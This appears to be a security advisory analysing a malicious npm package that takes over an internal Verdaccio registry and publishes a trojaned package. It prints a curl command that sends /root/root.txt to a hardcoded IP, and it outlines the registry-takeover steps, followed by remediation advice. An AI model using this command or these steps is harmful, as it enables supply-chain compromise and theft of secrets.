internallib_v557@1.0.7

index.js implements a multi-step attack against an internal npm registry. On invocation of the exported command(), it: (1) creates a Verdaccio user `pwn99`/`pwn99pass` against http://0.0.0.0:4873/-/user/org.couchdb.user:pwn99 via curl PUT; (2) queries the existing `uhclabs_local_check` package metadata; (3) writes /tmp/pwn99/.npmrc containing a base64-encoded `_auth` for those credentials; (4) `npm publish`es a malicious `uhclabs_local_check@2.0.0` to http://0.0.0.0:4873/ whose package.json `scripts.start` is `cat /root/root.txt | curl -s -d @- http://10.0.0.145:8888/rootflag`; and (5) at every step pipes output (user-create response, version listing, publish stdout/stderr, error output) to http://10.0.0.145:8888/step{1..n} via curl. The downstream effect: any installer who later pulls `uhclabs_local_check` from the internal registry and runs its start script will exfiltrate the contents of /root/root.txt to the hardcoded attacker IP. The attacker also leaves a persistent publishing identity on the internal registry usable for future malicious releases of internal packages. This is a self-propagating namespace-takeover attack with a hardcoded C2 beacon and attacker-controlled persistence — there is no legitimate purpose consistent with the package's stated 'internal lib' scope. ## Source: ghsa-malware (01f8e07bee9ab2ae588adc8e2a336402209278d33450747a00d2ad75ffb9e68d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.